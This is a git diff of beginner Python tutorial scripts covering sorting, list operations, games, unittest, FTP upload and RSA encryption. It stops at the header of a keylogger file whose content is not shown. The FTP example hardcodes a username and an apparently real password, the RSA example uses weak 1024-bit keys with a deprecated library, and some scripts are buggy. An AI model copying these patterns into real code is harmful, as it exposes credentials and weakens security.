diff --git a/Test2/P01_hello copy.py b/Test2/P01_hello copy.py new file mode 100644 index 0000000..2bab912 --- /dev/null +++ b/Test2/P01_hello copy.py @@ -0,0 +1,28 @@ +# Author: OMKAR PATHAK +# This program prints the entered message + +def justPrint(text): + '''This function prints the text passed as argument to this function''' + print(text) + a=input("Enter a number: ") + b=input("Enter another number: ") + base_value = 10 + increment_value=20 + difference = increment_value - base_value + divide_value = increment_value / base_value + multiply_value = increment_value * base_value + floor_division = increment_value // base_value # // -> integer division + + print("Floor Division:", floor_division) + # print("Difference is:", increment_value - base_value) + print("Divide value is:", divide_value) + print("Multiply value is:", multiply_value) + print("Modulus:", increment_value % base_value ) # % -> remainder + print('Addition is:', int(a) + int(b)) + +if __name__ == '__main__': + justPrint('Hello Sindhuja') + justPrint('Hello Sindhuja') + justPrint('Hello Sindhuja') + + diff --git a/Test2/P02_VariableScope.py b/Test2/P02_VariableScope.py new file mode 100644 index 0000000..505eb22 --- /dev/null +++ b/Test2/P02_VariableScope.py @@ -0,0 +1,16 @@ +#Author: OMKAR PATHAK +#This programs shows the rules for variable scope + +# LEGB Rule: Local, Enclosing, Global, Built-in + +x = 80 # Global x + +def test(): + #global x + y = 100 # Local y + x = 20 + print(x + y) #prints 'Local x' and 'Local y' + +if __name__ == '__main__': + test() + print(x) #prints 'Global x' diff --git a/Test2/P03_ListsOperations.py b/Test2/P03_ListsOperations.py new file mode 100644 index 0000000..53c5d13 --- /dev/null +++ b/Test2/P03_ListsOperations.py @@ -0,0 +1,48 @@ +#Author: OMKAR PATHAK +#This program gives examples about various list operations +# User story id : Prod - PYTH-003 + +#Syntax: list[start: end: step] + +myList = [1, 2, 3, 4, 5, 6, 7, 8, 9] +#index 0 1 2 3 4 5 6 7 8 +# -9 -8 -7 -6 -5 -4 -3 -2 -1 + +#List Slicing +print('Original List:',myList) +print('First Element:',myList[0]) #Prints the first element of the list or 0th element of the list +print('Element at 2nd Index position:',myList[2]) #Prints the 2nd element of the list +print('Elements from 0th Index to 4th Index:',myList[0: 5]) #Prints elements of the list from 0th index to 4th index. IT DOESN'T INCLUDE THE LAST INDEX +print('Element at -7th Index:',myList[-7]) #Prints the -7th or 3rd element of the list + +#To append an element to a list +myList.append(10) +print('Append:',myList) + +#To find the index of a particular element +print('Index of element \'6\':',myList.index(6)) #returns index of element '6' + +#To sort the list +myList.sort() + +#To pop last element +print('Poped Element:',myList.pop()) + +#To remove a particular element from the lsit BY NAME +myList.remove(6) +print('After removing \'6\':',myList) + +#To insert an element at a specified Index +myList.insert(5, 6) +print('Inserting \'6\' at 5th index:',myList) + +#To count number of occurences of a element in the list +print('No of Occurences of \'1\':',myList.count(1)) + +#To extend a list that is insert multiple elemets at once at the end of the list +myList.extend([11,0]) +print('Extending list:',myList) + +#To reverse a list +myList.reverse() +print('Reversed list:',myList) diff --git a/Test2/P05_Pattern.py b/Test2/P05_Pattern.py index 7bf1487..db988a0 100644 --- a/Test2/P05_Pattern.py +++ b/Test2/P05_Pattern.py @@ -102,7 +102,7 @@ def pattern6(userInput): ***** ''' - num = userInput + num = int(input('Enter number for pattern')) pattern = '*' string = pattern * num x = 0 diff --git a/Test2/P08_Fibonacci.py b/Test2/P08_Fibonacci.py new file mode 100644 index 0000000..67133a1 --- /dev/null +++ b/Test2/P08_Fibonacci.py @@ -0,0 +1,24 @@ +#Author: OMKAR PATHAK +#This program calculates the fibonacci series till the n-th term + +def fibonacci(number): + '''This function calculates the fibonacci series till the n-th term''' + if number <= 1: + return number + else: + return (fibonacci(number - 1) + fibonacci(number - 2)) + +def fibonacci_without_recursion(number): + if number == 0: return 0 + fibonacci0, fibonacci1 = 0, 1 + for i in range(2, number + 1): + fibonacci1, fibonacci0 = fibonacci0 + fibonacci1, fibonacci1 + return fibonacci1 + +if __name__ == '__main__': + userInput = int(input('Enter the number upto which you wish to calculate fibonnaci series: ')) + for i in range(userInput + 1): + print(fibonacci(i),end=' ') + + print("\nUsing LOOP:") + print(fibonacci_without_recursion(userInput)) diff --git a/Test2/P09_Factorial.py b/Test2/P09_Factorial.py new file mode 100644 index 0000000..37b8dbc --- /dev/null +++ b/Test2/P09_Factorial.py @@ -0,0 +1,22 @@ +#Author: OMKAR PATHAK +#This program calculates the factorial of a given number + +def factorial(number): + '''This function calculates the factorial of a number''' + if number == 1 or number == 0: + return 1 + else: + return number * factorial(number - 1) + +def factorial_without_recursion(number): + fact = 1 + while(number > 0): + fact = fact * number + number = number - 1 + print('Factorial of', number,'is: ') + print(fact) + +if __name__ == '__main__': + userInput = int(input('Enter the number to find its factorial: ')) + print('Factorial of', userInput, 'is:', factorial(userInput)) + factorial_without_recursion(userInput) diff --git a/Test2/P10_LCM.py b/Test2/P10_LCM.py new file mode 100644 index 0000000..aa1f5bd --- /dev/null +++ b/Test2/P10_LCM.py @@ -0,0 +1,19 @@ +#Author: OMKAR PATHAK +#This program calculates the LCM of the two numbers entered by the user + +def LCM(number1, number2): + '''This function calculates LCM of two numbers inputed by the user''' + maximum = max(number1, number2) + i = maximum + while True: + if (i % number1 == 0 and i % number2 == 0): + lcm = i + break + i += maximum + + return lcm + +if __name__ == '__main__': + userInput1 = int(input('Enter first number: ')) + userInput2 = int(input('Enter second number: ')) + print('LCM of {} and {} is {}'.format( userInput1, userInput2, LCM(userInput1, userInput2))) diff --git a/Test2/P11_BinaryToDecimal.py b/Test2/P11_BinaryToDecimal.py new file mode 100644 index 0000000..7304c79 --- /dev/null +++ b/Test2/P11_BinaryToDecimal.py @@ -0,0 +1,17 @@ +#Author: OMKAR PATHAK +#This program converts the given binary number to its decimal equivalent + +def binaryToDecimal(binary): + '''This function calculates the decimal equivalent to given binary number''' + binary1 = binary + decimal, i, n = 0, 0, 0 + while(binary != 0): + dec = binary % 10 + decimal = decimal + dec * pow(2, i) + binary = binary//10 + i += 1 + print('Decimal equivalent of {} is {}'.format(binary1, decimal)) + +if __name__ == '__main__': + userInput = int(input('Enter the binary number to check its decimal equivalent: ')) + binaryToDecimal(userInput) diff --git a/Test2/P12_DecimalToBinary.py b/Test2/P12_DecimalToBinary.py new file mode 100644 index 0000000..c1be53c --- /dev/null +++ b/Test2/P12_DecimalToBinary.py @@ -0,0 +1,13 @@ +#Author: OMKAR PATHAK +#Program to convert decimal to its equivalent binary + +def decimalToBinary(n): + '''Function to print binary number for the input decimal using recursion''' + if n > 1: + decimalToBinary(n//2) + print(n % 2,end = '') + +if __name__ == '__main__': + userInput = int(input('Enter the decimal number to find its binary equivalent: ')) + decimalToBinary(userInput) + print() diff --git a/Test2/P13_Palindrome.py b/Test2/P13_Palindrome.py new file mode 100644 index 0000000..6d5aba8 --- /dev/null +++ b/Test2/P13_Palindrome.py @@ -0,0 +1,14 @@ +#Author: OMKAR PATHAK +#This program checks for the palindrome + +def palindrome(string): + '''This function checks the string for palindrome''' + revString = string[::-1] + if string == revString: + print('String is Palindrome') + else: + print('String is not Palindrome') + +if __name__ == '__main__': + userInput = str(input('Enter a string to check for Palindrome: ')) + palindrome(userInput) diff --git a/Test2/P14_CheckGreater.py b/Test2/P14_CheckGreater.py new file mode 100644 index 0000000..88f74b6 --- /dev/null +++ b/Test2/P14_CheckGreater.py @@ -0,0 +1,15 @@ +#Author: OMKAR PATHAK +#This prpgram checks that the given number is greater than all those numbers in th list + +def checkGreater(number): + '''This function checks whether the entered number is greater than those in the list''' + original = [1,2,3,4,5] + original.sort() + if number > original[-1]: + print('Yes, the entered number is greater than those in the list') + else: + print('No, entered number is less than those in the list') + +if __name__ == '__main__': + userInput = int(input('Enter the number to check: ')) + checkGreater(userInput) diff --git a/Test2/P15_Arguments.py b/Test2/P15_Arguments.py new file mode 100644 index 0000000..cd51cf3 --- /dev/null +++ b/Test2/P15_Arguments.py @@ -0,0 +1,17 @@ +#Author: OMKAR PATHAK +#This program gives a demo of how can you pass arguments while running python programs +#Run the program as: python P15_Arguments.py Omkar Pathak + +import sys + +def arguments(): + '''This function prints the argruments passed while running the python program''' + try: + print('This is the name of the script:', sys.argv[0]) + print('First argument:', sys.argv[1]) + print('Second argument:', sys.argv[2]) + except IndexError: + print('Give only two arguments') + +if __name__ == '__main__': + arguments() diff --git a/Test2/P16_CountVowels.py b/Test2/P16_CountVowels.py new file mode 100644 index 0000000..9b0c691 --- /dev/null +++ b/Test2/P16_CountVowels.py @@ -0,0 +1,17 @@ +#Author: OMKAR PATHAK +#This program counts the vowels present in the user input + +def countVowels(sentence): + '''This function counts the vowels''' + count = 0 + sentence = sentence.lower() + for c in sentence: + if c in ['a', 'e', 'i', 'o', 'u']: + count += 1 + return count + + +if __name__ == '__main__': + userInput = str(input("Enter the string to check for vowels: ")) + count = countVowels(userInput) + print('Vowel Count: ',count) diff --git a/Test2/P17_EvenOdd.py b/Test2/P17_EvenOdd.py new file mode 100644 index 0000000..b69a47f --- /dev/null +++ b/Test2/P17_EvenOdd.py @@ -0,0 +1,19 @@ +#Author: OMKAR PATHAK +#This program takes input from user and sorts the numbers in two arrays, one of even and other of odd + +def evenOdd(numbers): + '''This function divides the numbers in two arrays one of even and other of odd''' + even = [] + odd = [] + for number in numbers: + if int(number) % 2 == 0: + even.append(number) + else: + odd.append(number) + return even, odd + +if __name__ == '__main__': + userInput = input("Enter the numbers (space separated) to check: ") + userInput = list(userInput.split()) + even, odd = evenOdd(userInput) + print('Even Nos: ', ','.join(even), '\n', 'Odd Nos: ', ','.join(odd)) diff --git a/Test2/P18_Logging.py b/Test2/P18_Logging.py new file mode 100644 index 0000000..64acae3 --- /dev/null +++ b/Test2/P18_Logging.py @@ -0,0 +1,22 @@ +#Author: OMKAR PATHAK +#This program illustrates a logging example +import logging + +def log(number): + ''' This function creates a log file if any error is reported ''' + logging.basicConfig(filename = 'P18-logfile.txt', level = logging.INFO) + try: + if int(number) % 2 == 0: + print('Successful') + else: + print('Unsuccessful, this instance will be reported, check the log file') + logging.info('Invalid Entry') + except: + print('Please enter a valid integer') + +if __name__ == '__main__': + try: + userInput = int(input('Enter a number: ')) + log(userInput) + except: + print('Please enter a valid integer') diff --git a/Test2/P19_SimpleStopWatch.py b/Test2/P19_SimpleStopWatch.py new file mode 100644 index 0000000..bbbff67 --- /dev/null +++ b/Test2/P19_SimpleStopWatch.py @@ -0,0 +1,45 @@ +#Author: OMKAR PATHAK +#This program illustrates a stopwatch + +import time + +print('Press ENTER to begin, Press Ctrl + C to stop') +while True: + try: + input() #For ENTER + starttime = time.time() + print('Started') + except KeyboardInterrupt: + print('Stopped') + endtime = time.time() + print('Total Time:', round(endtime - starttime, 2),'secs') + break +# Press enter to start and stop the watch +""" +import time + +print('Press Enter to begin, Press Enter again to stop') +if input()=='': + starttime = time.time() + print('Started') + while True: + val=input() #For ENTER + if val=='': + print('Stopped') + endtime = time.time() + print('Total Time:', round(endtime - starttime, 2),'secs') + break + +""" + +""" +Output: +Press Enter to begin, Press Enter again to stop + +Started + +Stopped +Total Time: 1.05 secs + +""" + diff --git a/Test2/P21_GuessTheNumber.py b/Test2/P21_GuessTheNumber.py deleted file mode 100644 index f1f2c2d..0000000 --- a/Test2/P21_GuessTheNumber.py +++ /dev/null @@ -1,24 +0,0 @@ -#Author: OMKAR PATHAK -#This program guesses the randomnly generated number - - -import random - -def guess(): - ''' This function guesses the randomnly generated number ''' - randomNumber = random.randint(0, 21) - count = 0 - - while True: - count += 1 - number = int(input('Enter the number between 0 to 20: ')) - if number < randomNumber: - print('Too small') - elif number > randomNumber: - print('Too large') - else: - print('You have got it in', count, 'tries') - break - -if __name__ == '__main__': - guess() diff --git a/Test2/P22_SequentialSearch.py b/Test2/P22_SequentialSearch.py deleted file mode 100644 index 51a63d9..0000000 --- a/Test2/P22_SequentialSearch.py +++ /dev/null @@ -1,23 +0,0 @@ -#Author: OMKAR PATHAK -#This program is an example for sequential search - -def sequentialSearch(target, List): - '''This function returns the position of the target if found else returns -1''' - position = 0 - global iterations - iterations = 0 - while position < len(List): - iterations += 1 - if target == List[position]: - return position - position += 1 - return -1 - -if __name__ == '__main__': - List = [1, 2, 3, 4, 5, 6, 7, 8] - target = 3 - ans = sequentialSearch(target, List) - if ans != -1: - print('Target found at position:',ans,'in',iterations,'iterations') - else: - print('Target not found in the list') diff --git a/Test2/P23_BinarySearch.py b/Test2/P23_BinarySearch.py deleted file mode 100644 index 5d41162..0000000 --- a/Test2/P23_BinarySearch.py +++ /dev/null @@ -1,29 +0,0 @@ -#Author: OMKAR PATHAK -#This programs give an example of binary search algorithm - -def binarySearch(target, List): - '''This function performs a binary search on a sorted list and returns the position if successful else returns -1''' - left = 0 #First position of the list - right = len(List) - 1 #Last position of the list - global iterations - iterations = 0 - - while left <= right: #U can also write while True condition - iterations += 1 - mid = (left + right) // 2 - if target == List[mid]: - return mid - elif target < List[mid]: - right = mid - 1 - else: - left = mid + 1 - return -1 - -if __name__ == '__main__': - List = [1, 2, 3, 4, 5, 6, 7, 8, 9, 11, 12, 13, 14] - target = 2 - ans = binarySearch(target, List) - if(ans != -1): - print('Target found at position:',ans,'in',iterations,'iterations') - else: - print('Target not found') diff --git a/Test2/P24_SelectionSort.py b/Test2/P24_SelectionSort.py deleted file mode 100644 index 4b2a35e..0000000 --- a/Test2/P24_SelectionSort.py +++ /dev/null @@ -1,21 +0,0 @@ -#Author: OMKAR PATHAK -#This program shows an example of selection sort - -#Selection sort iterates all the elements and if the smallest element in the list is found then that number -#is swapped with the first - -#Best O(n^2); Average O(n^2); Worst O(n^2) - -def selectionSort(List): - for i in range(len(List) - 1): #For iterating n - 1 times - minimum = i - for j in range( i + 1, len(List)): # Compare i and i + 1 element - if(List[j] < List[minimum]): - minimum = j - if(minimum != i): - List[i], List[minimum] = List[minimum], List[i] - return List - -if __name__ == '__main__': - List = [3, 4, 2, 6, 5, 7, 1, 9] - print('Sorted List:',selectionSort(List)) diff --git a/Test2/P25_BubbleSort.py b/Test2/P25_BubbleSort.py deleted file mode 100644 index 4aab5da..0000000 --- a/Test2/P25_BubbleSort.py +++ /dev/null @@ -1,24 +0,0 @@ -#Author: OMKAR PATHAK -#This program shows an example of bubble sort using Python - -# Bubblesort is an elementary sorting algorithm. The idea is to -# imagine bubbling the smallest elements of a (vertical) array to the -# top; then bubble the next smallest; then so on until the entire -# array is sorted. Bubble sort is worse than both insertion sort and -# selection sort. It moves elements as many times as insertion sort -# (bad) and it takes as long as selection sort (bad). On the positive -# side, bubble sort is easy to understand. Also there are highly -# improved variants of bubble sort. - -# Best O(n^2); Average O(n^2); Worst O(n^2) - -def bubbleSort(List): - for i in range(len(List)): - for j in range(len(List) - 1, i, -1): - if List[j] < List[j - 1]: - List[j], List[j - 1] = List[j - 1], List[j] - return List - -if __name__ == '__main__': - List = [3, 4, 2, 6, 5, 7, 1, 9] - print('Sorted List:',bubbleSort(List)) diff --git a/Test2/P26_InsertionSort.py b/Test2/P26_InsertionSort.py deleted file mode 100644 index c120cc4..0000000 --- a/Test2/P26_InsertionSort.py +++ /dev/null @@ -1,25 +0,0 @@ -#Author: OMKAR PATHAK -#This program shows an example of insertion sort using Python - -# Insertion sort is good for collections that are very small -# or nearly sorted. Otherwise it's not a good sorting algorithm: -# it moves data around too much. Each time an insertion is made, -# all elements in a greater position are shifted. - -# Best O(n); Average O(n^2); Worst O(n^2) - -def insertionSort(List): - for i in range(1, len(List)): - currentNumber = List[i] - for j in range(i - 1, -1, -1): - if List[j] > currentNumber : - List[j], List[j + 1] = List[j + 1], List[j] - else: - List[j + 1] = currentNumber - break - - return List - -if __name__ == '__main__': - List = [3, 4, 2, 6, 5, 7, 1, 9] - print('Sorted List:',insertionSort(List)) diff --git a/Test2/P27_MergeSort.py b/Test2/P27_MergeSort.py deleted file mode 100644 index 2ecf8ce..0000000 --- a/Test2/P27_MergeSort.py +++ /dev/null @@ -1,42 +0,0 @@ -#Author: OMKAR PATHAK -#This program gives an example of Merge sort - -# Merge sort is a divide and conquer algorithm. In the divide and -# conquer paradigm, a problem is broken into pieces where each piece -# still retains all the properties of the larger problem -- except -# its size. To solve the original problem, each piece is solved -# individually; then the pieces are merged back together. - -# Best = Average = Worst = O(nlog(n)) - -def merge(a,b): - """ Function to merge two arrays """ - c = [] - while len(a) != 0 and len(b) != 0: - if a[0] < b[0]: - c.append(a[0]) - a.remove(a[0]) - else: - c.append(b[0]) - b.remove(b[0]) - if len(a) == 0: - c += b - else: - c += a - return c - -# Code for merge sort - -def mergeSort(x): - """ Function to sort an array using merge sort algorithm """ - if len(x) == 0 or len(x) == 1: - return x - else: - middle = len(x)//2 - a = mergeSort(x[:middle]) - b = mergeSort(x[middle:]) - return merge(a,b) - -if __name__ == '__main__': - List = [3, 4, 2, 6, 5, 7, 1, 9] - print('Sorted List:',mergeSort(List)) diff --git a/Test2/P28_QuickSort.py b/Test2/P28_QuickSort.py deleted file mode 100644 index ad11e64..0000000 --- a/Test2/P28_QuickSort.py +++ /dev/null @@ -1,65 +0,0 @@ -#Author: OMKAR PATHAK -#This program illustrates an example of quick sort - -# Quicksort works by selecting an element called a pivot and splitting -# the array around that pivot such that all the elements in, say, the -# left sub-array are less than pivot and all the elements in the right -# sub-array are greater than pivot. The splitting continues until the -# array can no longer be broken into pieces. That's it. Quicksort is -# done. - -# Best = Average = O(nlog(n)); Worst = O(n^2 -import time - -def quickSort(myList, start, end): - if start < end: - # partition the list - pivot = partition(myList, start, end) - # sort both halves - quickSort(myList, start, pivot-1) - quickSort(myList, pivot+1, end) - return myList - -def partition(myList, start, end): - pivot = myList[start] - left = start+1 - right = end - done = False - while not done: - while left <= right and myList[left] <= pivot: - left = left + 1 - while myList[right] >= pivot and right >=left: - right = right -1 - if right < left: - done= True - else: - # swap places - temp=myList[left] - myList[left]=myList[right] - myList[right]=temp - # swap start with myList[right] - temp=myList[start] - myList[start]=myList[right] - myList[right]=temp - return right - -# A more efficient solution -def quicksortBetter(arr): - if len(arr) <= 1: - return arr - pivot = arr[len(arr) // 2] - left = [x for x in arr if x < pivot] - middle = [x for x in arr if x == pivot] - right = [x for x in arr if x > pivot] - return quicksortBetter(left) + middle + quicksortBetter(right) - -if __name__ == '__main__': - List = [3, 4, 2, 6, 5, 7, 1, 9] - start = time.time() - print('Sorted List:',quickSort(List, 0, len(List) - 1)) - stop = time.time() - print('Time Required:', (stop - start)) - start = time.time() - print('Sorted List:', quicksortBetter(List)) - stop = time.time() - print('Time Required:', (stop - start)) diff --git a/Test2/P29_ArgumentParser.py b/Test2/P29_ArgumentParser.py deleted file mode 100644 index 15a5968..0000000 --- a/Test2/P29_ArgumentParser.py +++ /dev/null @@ -1,21 +0,0 @@ -#Author: OMKAR PATHAK -#In this example w will see the example for Python argument parser - -import argparse - -def argumentParser(): - parser = argparse.ArgumentParser() - parser.add_argument('-s', '--slowbros', help = 'Names of Slowbros', action = 'store_true') - arg = parser.parse_args() - if(arg.slowbros): - slowBros() - else: - print('Dude give some arguments! Type ArgumentParser -h for more details') - - -def slowBros(): - print('SLOWBROS MEMBERS: \nOmkar Pathak\nChinmaya Kaundanya\nAkash Nalawade\nSanket Parode') - - -if __name__ == '__main__': - argumentParser() diff --git a/Test2/P70_SimpleProgressBar.py b/Test2/P70_SimpleProgressBar.py new file mode 100644 index 0000000..ee03455 --- /dev/null +++ b/Test2/P70_SimpleProgressBar.py @@ -0,0 +1,18 @@ +# This is the program for creating a simple progress bar. You may need this in many of your projects. +# You can install a module for progress bar by 'pip3 install progressbar2' + +import sys, time + +def progressBar(count, total, suffix=''): + barLength = 60 + filledLength = int(round(barLength * count / float(total))) + + percent = round(100.0 * count / float(total), 1) + bar = '=' * filledLength + '-' * (barLength - filledLength) + + sys.stdout.write('[%s] %s%s ...%s\r' % (bar, percent, '%', suffix)) + sys.stdout.flush() + +for i in range(10): + time.sleep(1) + progressBar(i, 10) diff --git a/Test2/P71_PythonUnittest.py b/Test2/P71_PythonUnittest.py new file mode 100644 index 0000000..b5ef685 --- /dev/null +++ b/Test2/P71_PythonUnittest.py @@ -0,0 +1,44 @@ +# Author: OMKAR PATHAK + +# This module helps to build the testcases for a particular program to test its integrity and overall execution + +import unittest + +def checkPrime(number): + '''This function checks if the number is a prime number''' + if number == 2: + return True + if number > 2: + for i in range(2, number): + if number % i == 0: + return False + break + else: + return True + break + else: + return False + +# Class for providing test cases +class CheckPrime(unittest.TestCase): + + def test_checkPrime(self): + self.assertEqual(checkPrime(3), True) # Check if the function returns the value specified in the second argument + + def test_checkPrime2(self): + self.assertTrue(checkPrime(5)) # Check if the function returns True + self.assertFalse(checkPrime(4)) # Check if the function returns False + + def test_checkPrime3(self): + # Check that providing a string input produces an error + with self.assertRaises(TypeError): + checkPrime('1') + +if __name__ == '__main__': + unittest.main() + + # OUTPUT: + # ---------------------------------------------------------------------- + # Ran 3 tests in 0.000s + #   + # OK diff --git a/Test2/P72_PythonLambda.py b/Test2/P72_PythonLambda.py new file mode 100644 index 0000000..67fc881 --- /dev/null +++ b/Test2/P72_PythonLambda.py @@ -0,0 +1,33 @@ +# Author: OMKAR PATHAK + +# In this program we will learn what Python lambda is. +# The lambda operator or lambda function is a way to create small anonymous functions, i.e. functions without +# a name. These functions are throw-away functions, i.e. they are just needed where they have been created. +# Lambda functions are mainly used in combination with the functions filter(), map() and reduce(). The lambda +# feature was added to Python due to the demand from Lisp programmers. + +# The argument list consists of a comma separated list of arguments and the expression is an arithmetic +# expression using these arguments. You can assign the function to a variable to give it a name. +# The following example of a lambda function returns the sum of its two arguments: + +myFunc = lambda x, y: x * y + +print(myFunc(2, 3)) #output: 6 + +#Here we are directly creating the function and passing the arguments +print((lambda x, y: x * y)(2, 3)) #same output i.e 6 + +print(type(lambda x, y: x * y)) #Output: + +# example to find squares of all numbers of a list +myList = [i for i in range(10)] + +# returns square of each number +myFunc2 = lambda x: x * x + +squares = list(map(myFunc2, myList)) +print(squares) # Output: [0, 1, 4, 9, 16, 25, 36, 49, 64, 81] + +print(list(map(lambda x: x * x, myList))) #same as above + + diff --git a/Test2/P73_SimplePythonEncryption.py b/Test2/P73_SimplePythonEncryption.py new file mode 100644 index 0000000..f898416 --- /dev/null +++ b/Test2/P73_SimplePythonEncryption.py @@ -0,0 +1,27 @@ +# Author: OMKAR PATHAK + +# This program illustrates a simple Python encryption example using the RSA Algotrithm + +# RSA is an algorithm used by modern computers to encrypt and decrypt messages. It is an asymmetric +# cryptographic algorithm. Asymmetric means that there are two different keys (public and private). + +# For installation: sudo pip3 install pycrypto + +from Crypto.PublicKey import RSA +from Crypto import Random + +randomGenerator = Random.new().read +# Generating a private key and a public key +# key stores both the keys +key = RSA.generate(1024, randomGenerator) # 1024 is the size of the key in bits +print(key) # Prints private key +print(key.publickey()) # Prints public key + +# Encryption using Public Key +publicKey = key.publickey() +encryptedData = publicKey.encrypt('My name is Omkar Pathak'.encode('utf-8'), 32) +print(encryptedData) + +# Decryption using Private Key +decryptedData = key.decrypt(encryptedData) +print(decryptedData) diff --git a/Test2/P74_PythonGenerators.py b/Test2/P74_PythonGenerators.py new file mode 100644 index 0000000..16333bf --- /dev/null +++ b/Test2/P74_PythonGenerators.py @@ -0,0 +1,18 @@ +# Author: OMKAR PATHAK + +# A Python generator is a function which returns a generator iterator (just an object we can iterate over) +# by calling yield + +def simpleGenerator(numbers): + i = 0 + while True: + check = input('Wanna generate a number? (If yes, press y else n): ') + if check in ('Y', 'y') and len(numbers) > i: + yield numbers[i] + i += 1 + else: + print('Bye!') + break + +for number in simpleGenerator([10, 11, 12, 14]): + print(number) diff --git a/Test2/P75_TicTacToe.py b/Test2/P75_TicTacToe.py new file mode 100644 index 0000000..a8dcee4 --- /dev/null +++ b/Test2/P75_TicTacToe.py @@ -0,0 +1,75 @@ +# Author: OMKAR PATHAK + +# A simple example of tic tac toe game + +# For storing user choices +choices = [] + +# For initializing the board with numbers +for i in range(0, 9): + choices.append(str(i)) + +firstPlayer = True +winner = False +iterations = 0 # To terminate the loop + +# For drawing board on to the terminal +def printBoard(): + print('\n=============') + print('| ' + choices[0] + ' | ' + choices[1] + ' | ' + choices[2] + ' |') + print('=============') + print('| ' + choices[3] + ' | ' + choices[4] + ' | ' + choices[5] + ' |') + print('=============') + print('| ' + choices[6] + ' | ' + choices[7] + ' | ' + choices[8] + ' |') + print('=============\n') + +# Play the game while the winner is not decided or the game is drawn +while not winner and iterations < 9: + printBoard() + + iterations += 1 + + if firstPlayer == True: + print('Player 1: ', end = '') + else: + print('Player 2: ', end = '') + + try: + playerInput = int(input()) + except: + print('Please enter a valid number from the board') + continue + + # Check if userInput already has 'X' or 'O' + if choices[playerInput] == 'X' or choices[playerInput] == 'O': + print('Illegal move, try again!') + continue + + if firstPlayer: + choices[playerInput] = 'X' + else: + choices[playerInput] = 'O' + + firstPlayer = not firstPlayer + + # Winning conditions + for index in range(0, 3): + # For [0,1,2], [3,4,5], [6,7,8] + if (choices[index * 3] == choices[((index * 3) + 1)] and choices[index * 3] == choices[((index * 3) + 2)]): + winner = True + printBoard() + + # For [0,3,6], [1,4,7], [2,5,8] + if(choices[index] == choices[index + 3] and choices[index + 3] == choices[index + 6]): + winner = True + printBoard() + + if((choices[0] == choices[4] and choices[4] == choices[8]) or + (choices[2] == choices[4] and choices[4] == choices[6])): + winner = True + printBoard() + +if winner: + print('Player ' + str(int(firstPlayer + 1)) + ' wins!') +else: + print('Game drawn') diff --git a/Test2/P76_PythonFTP.py b/Test2/P76_PythonFTP.py new file mode 100644 index 0000000..9df8d20 --- /dev/null +++ b/Test2/P76_PythonFTP.py @@ -0,0 +1,46 @@ +# Author: OMKAR PATHAK + +# For transfering files to your another/local computer, you will have to install a FTP +# Daemon. Execute following for doing the same: +# 1. sudo apt-get install vsftpd +# 2. service vsftpd start +# 3. sudo cp /etc/vsftpd.conf /etc/vsftpd.conf.orig +# 4. sudo nano /etc/vsftpd.conf + +# Now change the following settings in that file: +# +# anonymous_enable=NO # disable anonymous login +# local_enable=YES # permit local logins +# write_enable=YES # enable FTP commands which change the filesystem +# local_umask=022 # value of umask for file creation for local users +# dirmessage_enable=YES # enable showing of messages when users first enter a new directory +# xferlog_enable=YES # a log file will be maintained detailing uploads and downloads +# connect_from_port_20=YES # use port 20 (ftp-data) on the server machine for PORT style connections +# xferlog_std_format=YES # keep standard log file format +# listen=NO # prevent vsftpd from running in standalone mode +# listen_ipv6=YES # vsftpd will listen on an IPv6 socket instead of an IPv4 one +# pam_service_name=vsftpd # name of the PAM service vsftpd will use +# userlist_enable=YES # enable vsftpd to load a list of usernames +# tcp_wrappers=YES # turn on tcp wrappers + +import ftplib + +def ftp_upload(ftpObj, pathToSend, pathToRecv, fileType='TXT'): + """ + A function for uploading files to an FTP server + @param ftpObj: The file transfer protocol object + @param path: The path to the file to upload + """ + with open(pathToSend, 'rb') as fobj: + ftpObj.storlines('STOR ' + pathToRecv, fobj) + +if __name__ == '__main__': + ftp = ftplib.FTP('127.0.0.1') + ftp.login('omkarpathak', '8149omkar') + print('Logged in..') + + pathToSend = '/home/omkarpathak/Desktop/output.txt' + pathToRecv = '/home/omkarpathak/Documents/output.txt' + ftp_upload(ftp, pathToSend, pathToRecv) + + ftp.quit() diff --git a/Test2/P77_FileSearching.py b/Test2/P77_FileSearching.py new file mode 100644 index 0000000..a651b5c --- /dev/null +++ b/Test2/P77_FileSearching.py @@ -0,0 +1,51 @@ +# Author: OMKAR PATHAK + +# This program will help us implement concepts such as binary searching, operating system. +# P.S: Dont run this on root. That is dont give the DIRECTORY path as root else the program might +# consume all your resources and your system might get crashed + +import os +from pathlib import Path + +DIRECTORY = '/home/omkarpathak/Desktop' + +# List all the directories in the DIRECTORY +dirs = [name for name in os.listdir(DIRECTORY) if os.path.isdir(os.path.join(DIRECTORY, name))] + +# List all the files in the DIRECTORY +# files = [name for name in os.listdir(DIRECTORY) if os.path.isfile(os.path.join(DIRECTORY, name))] +files = [] + +for root, dirs, files in os.walk(DIRECTORY): + for File in files: + files.append(root + File) + +dirs.sort() +files.sort() + +def binarySearch(target, List): + '''This function performs a binary search on a sorted list and returns the position if successful else returns -1''' + left = 0 #First position of the list + right = len(List) - 1 #Last position of the list + global iterations + iterations = 0 + + while left <= right: #U can also write while True condition + iterations += 1 + mid = (left + right) // 2 + if target == List[mid]: + return mid, List[mid] + elif target < List[mid]: + right = mid - 1 + else: + left = mid + 1 + return -1 + +print(dirs) +print(files) + +try: + result, filePath = binarySearch('server.py', files) + print(os.path.abspath(filePath)) +except: + print('File not found') diff --git a/Test2/P78_HashTable.py b/Test2/P78_HashTable.py new file mode 100644 index 0000000..c4aaf61 --- /dev/null +++ b/Test2/P78_HashTable.py @@ -0,0 +1,40 @@ +# Author: OMKAR PATHAK + +# In computing, a hash table (hash map) is a data structure which implements an associative array abstract +# data type, a structure that can map keys to values. A hash table uses a hash function to compute an index +# into an array of buckets or slots, from which the desired value can be found. + +# Python's built-in data type dictionary uses hash tables to retrieve key value pairs. + +class HashMap(object): + def __init__(self): + self.hash_map = [[(None, None)] for _ in range(10)] + + def insert(self, key, value): + hash_key = hash(key) % len(self.hash_map) + key_exists = 0 + hash_list = self.hash_map[hash_key] + # print(key, value) + for i, key_value_pair in enumerate(hash_list): + key_in_table, value_in_table = key_value_pair + if key == key_in_table or key_in_table == None: + key_exists = 1 + if key_exists: + hash_list[i] = ((key, value)) + else: + hash_list.append((key, value)) + + def get(self, key): + hash_key = hash(key) % len(self.hash_map) + hash_list = self.hash_map[hash_key] + for i, key_value in enumerate(hash_list): + key_in_table, value_in_table = key_value + return value_in_table + raise KeyError + +if __name__ == '__main__': + myDict = HashMap() + myDict.insert('Omkar', 'Pathak') + myDict.insert('Jagdish', 'Pathak') + value = myDict.get('Omkar') + print(value) diff --git a/Test2/P79_SimplePythonKeylogger.py 